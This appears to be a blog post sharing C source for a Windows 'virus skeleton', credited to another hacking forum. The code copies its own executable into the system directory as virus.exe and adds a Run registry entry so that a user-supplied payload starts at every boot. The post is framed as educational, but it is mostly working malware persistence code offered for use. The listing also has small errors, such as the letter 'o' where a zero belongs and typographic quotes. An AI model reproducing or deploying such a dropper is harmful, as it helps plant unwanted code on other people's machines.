A Skeleton of a Virus


Virus Skeleton!!
/* ——- ———-Code for a simple Virus like program entity ———-
(code does not replicate)

It runs the payload that the user gives, at system start up….

I Assume that this code is solely for hacking purpose for learners…
& it will not be misused.
Best choice of IDE will be DEV-CPP ….( GNU C-compliers for windows)
Using the code carelessly may lead u to loose ur nose … or get some broken bones…

so be cautious…. 🙂 ,happy hacking.
————————————————————————————–*/
#include “windows.h”
#include “string.h”
#include “stdio.h”

int WINAPI WinMain( HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil )

{
// Getting the win32 dir
char system[MAX_PATH];
char pathtofile[MAX_PATH];

HMODULE GetModH=GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);
CopyFile(pathtofile,system,false);

//Writing to Registry
HKEY hkey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,
“Software\\Microsoft\\Windows\\CurrentVersion\\Run”,
0,KEY_SET_VALUE,&hkey);

RegSetValueEx(hkey,”Writing a Registry Entry “,o,REG_SZ,
(const unsigned char *)system,sizeof(system));

RegCloseKey(hkey);

// Write a Payload Here …. 🙂
// U can just say a Hi through a simple OK message box
// That would be very good for a trial…

return 0;

}

NB: Every body can use the code for educational purpose only… The source was taken from Rohitab.com ,written by some one identified by the name smith only. Thanks to him,& rohitab .com for this terrific code.

Advertisements